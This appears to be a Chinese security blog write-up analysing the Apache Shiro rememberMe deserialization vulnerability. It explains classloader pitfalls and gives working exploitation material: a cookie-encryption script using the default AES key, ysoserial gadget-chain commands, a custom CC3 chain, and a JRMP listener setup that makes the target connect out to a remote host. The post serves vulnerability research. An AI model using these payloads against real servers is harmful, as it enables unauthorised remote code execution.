【技術分享】關于Shiro反序列化漏洞的一些思考
Shiro反序列化雖然被很多大佬們在前幾年的學習中都總結的差不多了,但有些知識的總結思考還不是很具體。本文主要以拋出問題的方式,努力尋找在實際調試過程中遇到問題的真實答案,最后結合前輩們總結的知識點也用實踐檢驗了知識點,特此記錄。
0×1
漏洞簡介
1x1 介紹
Shiro是一個強大而靈活的開源安全框架,它非常簡單的處理身份認證,其中提供了登錄時的RememberMe功能,讓用戶在瀏覽器關閉重新打開后依然能恢復之前的會話。
此次分析的漏洞是一個標準的反序列化漏洞,其原理是Cookie中的rememberMe字段使用AES加密及Base64編碼的方式儲存用戶身份信息,因此我們只要能夠偽造Cookie并且讓服務器正確的解密后反序列化任意對象,就可以造成一定的危害。
其實Shiro反序列化的漏洞觸發和加解密分析都是比較簡單的部分,最難的地方在于反序列化利用的部分,坑點全在這里。
1x2 漏洞適用版本
1.2.4版本及以下,整體流程是Base64解碼—>AES解密—>反序列化。
我們從環境搭建開始一步步了解并掌握其中的知識。
0×2
環境搭建
2x1 docker 容器下載
docker run -d -p 8080:8080 -p 5006:5006 medicean/vulapps:s_shiro_
直接使用docker構建相關研究環境,該環境沒有配置調試選項,需要自己手動開啟調試。
2x2 開啟調試
在docker中的catalina.sh里添加調試信息
vi /usr/local/tomcat/bin/catalina.sh

服務端監聽5006端口,等待接受來自客戶端的調試數據。
0×3
漏洞分析
該漏洞是一個標準的反序列化漏洞,只不過在反序列化之前進行了加解密操作,使得步驟相對復雜了一些。為了加快分析速度,本文采用關鍵點分析法,重點分析如何識別加密算法、反序列化觸發點、反序列化利用。在這之前首先分析該框架如何進行路由處理的。
3x1 路由處理
Shiro在搭建服務的時候選擇的Tomcat 標準架構,我們重點分析web.xml中的相關配置,我們從配置文件中看出,不論訪問什么路由都會匹配到ShiroFilter這個攔截器進行處理。

然而這次漏洞出現的位置恰巧就在這個Filter中,不斷跟進找到了一處關于Remember身份認證的調用,如下圖所示。

可以粗略的猜測關于rememberMe的處理就在這個函數中,關于路由分析部分就先講到這里。關于怎么構造數據包,我采用的是在登陸界面選中Remember Me選項,從BurpSuite 或是瀏覽器中獲取數據包。

3x2 識別加密算法
從上面分析到的resolvePrincipals函數繼續向下分析,整個調用鏈如下

通過分析上圖可以很清晰的看到decrypt和deserialize函數在同一個函數中進行調用。我們首先重點分析使用的什么算法進行加解密。直接將代碼定位到convertBytesToPrincipals函數,該函數如下圖所示。

通過動態調試的方式跟進decrypt函數,看一看其中發生了什么事。在decrypt函數中發現了加密套件,該加密算法采用AES CBC模式并且采用PKCS5Padding模式進行填充。

那么關于該算法這里不做過多的講解,我們只需要知道該算法在加解密的時候需要知道加解密密鑰以及初始化向量,接下來就要分析如何得到這兩個重要的變量。
首先是加解密密鑰,其實在上面截圖中就能看到this.getDecryptionCipherKey函數是獲取密鑰的函數,跟進發現返回一個變量,該變量通過setCipherService函數進行賦值。



上面三個函數調用為了給加解密密鑰賦值,那么這個加解密密鑰到底是什么,在低版本中這個base64編碼就是我們想要的答案。

繼續分析初始化向量,cipherService.decrypt函數會初始化iv變量,通過調試發現,初始化向量的值為0,之后會在密文中取出前16個字節當作iv,因此iv值和密文我們可以控制。

那么到這里其實可以寫出加密腳本了
import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="mode = AES.MODE_CBCIV = ('0'*16).encode("utf8")encryptor = AES.new(base64.b64decode(key), mode, IV)
payload=base64.b64decode(sys.argv[1])BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()payload=pad(payload)
print(base64.b64encode(IV + encryptor.encrypt(payload)))
3x3 反序列化觸發點
反序列化的點在AES解密代碼之后,紅線部分為反序列化的最原始函數。

繼續跟進該函數,可在第二層deserialize函數處發現readObject函數的調用。

0×4
問題剖析
之前公開資料中關于這個洞最大的爭議就在 commons-collections3序列化鏈中的Transfomer數組加載不成功到底是什么原因造成的。從宏觀的角度講,在shiro利用方面可以簡單的把反序列化利用鏈分為帶數組型和無數組型兩種情況。
根據這個分類又細分了以下幾個類型
- 無數組型commons-collections4
- 無數組型commons-collections3
- 有數組型commons-collections3
- 無數組型commons-beanutils
說到底shiro反序列化之所以這么折騰,是因為他自己重寫了resolveClass函數,在反序列化的時候我們實際調用的是ClassUtils.forName

下面的是正常ObjectInputStream的resolveClass代碼實現,可以看到使用了Class.forName進行類的加載操作

回過頭看看shiro自己實現的forName都干了什么事,這個ClassUtils其實就是shrio自己實現的類解析,其中調用了各種Classloader的loadClass方法進行加載。

在具體分析之前我們首先了解一些前置知識,Class.forName和Classloader.loadClass到底有什么區別以及共同之處?
4x1 前置知識
- Class.forName不支持原生類型,但其他類型都是支持的
- Class.loadClass不能加載原生類型和數組類型,其他類型都是支持的
- 類加載和當前調用類的Classloader有關
這里的原生類型指的是byte、short、int、long、float、double、char、boolean。需要特別注意的是Class.loadClass不支持加載數組類型。
關于共同之處簡單的講這兩個類加載都是基于ClassLoader進行的,關于ClassLoader將會單獨寫一篇文章進行學習,這里只需要記住ClassLoader制定了類搜索路徑,這就意味著如果ClassLoader不對那么將永遠不會加載出需要的類。
比較巧的是shiro在反序列化的時候使用了tomcat自己實現的WebappClassLoader,這個ClassLoader里面既有loadclass又有forName方法,因此出現了一些奇奇怪怪的類加載靈異事件。

上面是ClassUtils::forName在加載類的時候會調用執行的代碼,我們下面通過分析幾個問題,理解并運用一開始提出的三個前置知識。
4x2 問題一 部分shiro目標不能反序列化Transformer數組
是真的不能反序列化數組嗎?還是只是不能反序列化Transformer數組?如果是那么為什么可以反序列化Transformer卻不能反序列化Transformer數組呢?
瘋狂三連問,我們在本小節一一解答。首先shiro是可以反序列化數組的,我們參照 https://xz.aliyun.com/t/7950#toc-4 中提到的數組類型,編寫代碼并構造了StackTraceElement數組,相關代碼如下。
import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.util.Base64;
public class Test { public static byte[] serialize(final Object obj) throws Exception { ByteArrayOutputStream btout = new ByteArrayOutputStream(); ObjectOutputStream objOut = new ObjectOutputStream(btout); objOut.writeObject(obj); return btout.toByteArray(); } public static void main(String[] args) throws Exception { Object[] xx = new StackTraceElement[]{new StackTraceElement("1","2","2",1)}; System.out.println(Base64.getEncoder().encodeToString(serialize(xx))); }}
看下shiro是怎么把這個數組反序列化的,從結果看Class.forName就能做到,因為StackTraceElement存在于rt.jar中,由BootStrapClassLoader加載,所以其classloader為null。

這么看來shiro中還是可以反序列化數組的,只不過不能反序列化WEB-INFO/lib中的類。因為那里面的類加載使用的classloader。那么這就回答了前兩個問題,shiro只是不能反序列化Transformer數組。
要回答第三個問題需要跟進一層,一開始對name進行了轉化,規則簡單描述為將.替換為/并且在最后面添加.class后綴

如圖所示的path已經變形了,在resourceEntries中尋找path這個值恐怕是找不到的。
4x3 問題二 不同時期的forName函數執行結果不一致
學習大佬博客的時候有幾個大佬指出了一個比較有意思的現象。在代碼運行的不同時期去執行forName方法會的其結果有很大的差別。具體表現為在ClassUtils的loadClass方法中執行Class.forName(fqcn)可以獲取到Transformer數組。

然而在跟進一層之后到WebappClassLoaderBase的loadClass方法中就不能加載Transformer數組了。這個現象的背后其實是classloader在作怪,我們細細的看一下Class.forName中實現邏輯

Reflection.getCallerClass可以得到調用者的類,那么根據這個邏輯我們在執行Class.forName函數時的Classloader就可以利用代碼執行出來。
比如在WebappClassLoaderBase中執行Class.forName時的ClassLoader為URLCLassLoader,這里面以及他的父類是沒有Transformer代碼的,因此無法加載該類型數組。

在進入該代碼之前,也就是ClassUtils的loadClass方法中查看forName的ClassLoader,可以從下面的調試信息中看到該ClassLoader為webappClassLoader,里面都是WEB-INF/lib下面的jar包,因此可以反序列化Transformer數組。

0×5
反序列化利用
了解了在shiro反序列化漏洞利用時的一些坑之后我們逐一對以下四種利用方式進行詳細的分析。
根據這個分類又細分了以下幾個類型
- 無數組型commons-collections4
- 無數組型commons-collections3
- 有數組型commons-collections3
- 無數組型commons-beanutils
- 無數組型JRMP
這四種類型是針對目標上部署了不同種類和版本的依賴庫進行的利用。在這四種利用方式中,第二種無數組型CC3是當時wh1t3p1g師傅把CC2和CC6兩條鏈拼接在了一起。因此在分析shiro利用鏈的同時將之前分析的cc鏈的利用方式也順便回顧下。打算以后開個專題專門分析Java反序列化利用鏈的挖掘以及構造方式,先挖個坑。這里ysoserial中的反序列化鏈就不展開講了,有疑惑的小伙伴可以看看之前寫的專題。
5x1 無數組型commons-collections4利用鏈
使用場景
因為shiro本身是無法反序列化在WEB-INF/lib依賴庫中數組類型的,因此如果出現shiro服務上部署了commons-collections4依賴庫,我們就可以使用ysoserial中的CC2進行攻擊。

使用方式如下
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections2 "touch /tmp/xxxx" > /tmp/1.txtcat /tmp/1.txt|base64python3 crypt1.py base64Content

5x2 無數組型commons-collections3利用鏈
使用場景
這種情況適用于shiro上只有commons-collections3依賴庫,并且該庫存在于WEB-INF/lib中。
我們能否將ysoserial上的反序列化利用鏈按照它的要求改一改呢?那么我們首先要確定的是尋找無數組型的命令執行。碰巧的是在ysoserial工具中存在templatesImpl,利用字節碼加載利用代碼。
關于反序列化鏈的組合其實有很多種,其難點在于最終的調用鏈和封裝鏈在邏輯上有很大的差異。我們最終要實現無數組反序列化利用鏈,有個簡單的思路,使用templatesImpl命令執行,那么最后就要執行templatesImpl對象的newTransformer方法。反觀整個ysoserial CC系列利用鏈,我們可以進行任意對象方法調用的梳理了下,總共有以下幾種方式
- 通過Transformer數組鏈式調用構造好參數的InvokerTransformer利用鏈,特點是無需動態傳遞參數
- 使用TransformingComparator執行transform方法,需要構造參數傳遞鏈
- TiedMapEntry向LazyMap傳遞可控參數key,并調用LazyMap中的transform方法,需要構造參數傳遞鏈
簡單分析這幾個方式,第一種利用了Transformer數組,不太適合shiro的反序列化利用場景;第二種是commons-collections4的利用特性,在commons-collections3中TransformingComparator不可序列化;那么第三種就比較滿足我們的需求了,可以通過一次transform調用執行傳遞過來key對象的任意方法。
為了方便構造,直接使用之前分析的CC鏈時的代碼進行拼接,主要代碼邏輯如下
final Object templates = createTemplatesImpl("touch /tmp/asdf");final Transformer transformerChain = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry entry = new TiedMapEntry(lazyMap, templates);
使用TiedMapEntry在構造方法中的key參數向lazyMap的get方法傳遞,之后再向transformerChain的transform方法傳遞,最后實現調用templates對象的newTransformer方法。
TiedMapEntry的構造方法如下,在執行toString方法的時候觸發getValue方法,間接調用map.get(this.key)

LazyMap的相關調用如下,成功將key傳向transformerChain

最后的反序列化執行流如下,但這并不意味著構造流程,在構造的時候我們更多關注的是不同類之間的依賴關系。

完整代碼鏈接 https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/shiro_CC5_2
5x3 有數組型commons-collections3利用鏈
使用場景
在shiro服務器上的tomcat lib目錄中部署了commons-collections3.jar,如下圖所示

使用方式如下
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections6 "touch /tmp/xxxx" > /tmp/1.txtcat /tmp/1.txt|base64python3 crypt1.py base64Content

在復現有數組利用鏈的時候有個坑,因為服務使用的JDK為1.8,所以在使用cc鏈的時候要注意,不要采用在JDK1.7下才可用的利用鏈。
5x4 無數組型commons-beanutils利用鏈
使用場景
這種情況適用于shiro上擁有commons-beanutils依賴庫,并且該庫存在于WEB-INF/lib中。

使用方式如下
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsBeanutils1 "touch /tmp/xasdf" > /tmp/1.txtcat /tmp/1.txt|base64python3 crypt1.py base64Content

5x5 無數組型JRMP利用鏈
使用場景
目標可以出網,不需要任何依賴
本地先用ysoserial起一個JRMPListener:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 'touch /tmp/xsdfa'
再執行
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "192.168.0.102:1099" > /tmp/1.txtcat /tmp/1.txt|base64python3 crypt1.py base64Content

crypt1.py 腳本鏈接 https://github.com/BabyTeam1024/shiro_vul
0×6
總結
從shiro 反序列化中學習到了classloader在加載類的時候的一些知識,打算有時間單獨學習總結下,在這次學習過程中又再一次感受到了反序列化的藝術魅力,文筆粗糙,有啥知識點描述不對的地方還請大家指正。